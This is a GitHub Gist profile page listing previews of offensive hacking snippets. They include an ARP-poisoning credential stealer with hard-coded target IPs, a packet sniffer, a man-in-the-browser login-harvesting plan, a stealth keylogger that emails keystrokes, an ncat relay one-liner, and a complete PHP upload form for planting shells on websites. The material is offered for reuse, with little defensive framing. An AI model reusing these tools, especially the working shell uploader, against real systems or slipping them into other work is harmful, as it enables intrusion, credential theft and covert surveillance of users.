Skip to content

Instantly share code, notes, and snippets.

View sh1nu11bi's full-sized avatar

sh1nu11bi

View GitHub Profile
@sh1nu11bi
sh1nu11bi / arper.py
Created February 18, 2015 17:48
Black Hat Code-Python Hacking_scapy_steal email cred
from scapy.all import *
import os
import sys
import threading
interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
packet_count = 1000
poisoning = True
@sh1nu11bi
sh1nu11bi / scanner.py
Created February 18, 2015 17:45
Raw Sockets and sniffing
import socket
import os
import struct
import threading
from netaddr import IPNetwork,IPAddress
from ctypes import *
# host to listen on
host = "192.168.0.187"
@sh1nu11bi
sh1nu11bi / browserinmiddle.txt
Created February 18, 2015 17:44
BH-Python Code:Man-In-the Middle
mitb.py will create a simple example example that will watch for a user browsing Facebook or GMail,de-auth them, and then
modify the login form to send their username and password to an HTTP server that we control.
Our HTTP server will then simply redirect them back to the real login page.
@sh1nu11bi
sh1nu11bi / Chapter1
Created February 18, 2015 17:38
Black Hat Python_Personal Mod Code
This code is taken fro Chapter 1-Mods included
@sh1nu11bi
sh1nu11bi / 0_reuse_code.js
Last active August 29, 2015 14:12
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@sh1nu11bi
sh1nu11bi / kali.sh
Created January 5, 2015 03:30
kali.sh
#!/bin/bash
#-Metadata------------------------------------------------#
# Filename: kali.sh (Update: 2014-11-27) #
#-Info----------------------------------------------------#
# Personal post install script for Kali Linux. #
#-Author(s)-----------------------------------------------#
# g0tmilk ~ https://blog.g0tmi1k.com #
#-Operating System----------------------------------------#
# Designed for: Kali Linux 1.0.9a [x64] (VM - VMware) #
# Tested on: Kali Linux 1.0.0 - 1.0.9a [x64 & x84] #
#!/usr/bin/python
# Exploit-db.com Google Dork Hacking Database Replicator written by Andy Bricker
# Proof of concept. You shouldnt use this script without prior consent from Exploit-db.com
# http://andybricker.com
# Contact: andy at andybricker.com
# Requirements
# Python 2.7 (Has not been tasted on later versions)
# Usage:
@sh1nu11bi
sh1nu11bi / gist:ab31084bc808caf32e4b
Created December 9, 2014 17:32
Keymail-A Keylogger written in C# that will send logged keystrokes to inputed e-mail
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *
@sh1nu11bi
sh1nu11bi / gist:430866bb462cfa28ef89
Created October 6, 2014 14:51
PHP upload box to upload shells to site
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!! Enjoy brother</b><br><br>'; }
else { echo '<b>Upload Failed !!! Try again</b><br><br>'; }
}
?>
@sh1nu11bi
sh1nu11bi / gist:7f89dd4b536bbe7893e3
Created October 6, 2014 14:49
Quick Python server
python -m SimpleHTTPServer & ncat --ssl -l 8443 --sh-exec "ncat 127.0.0.1 8000" --keep-open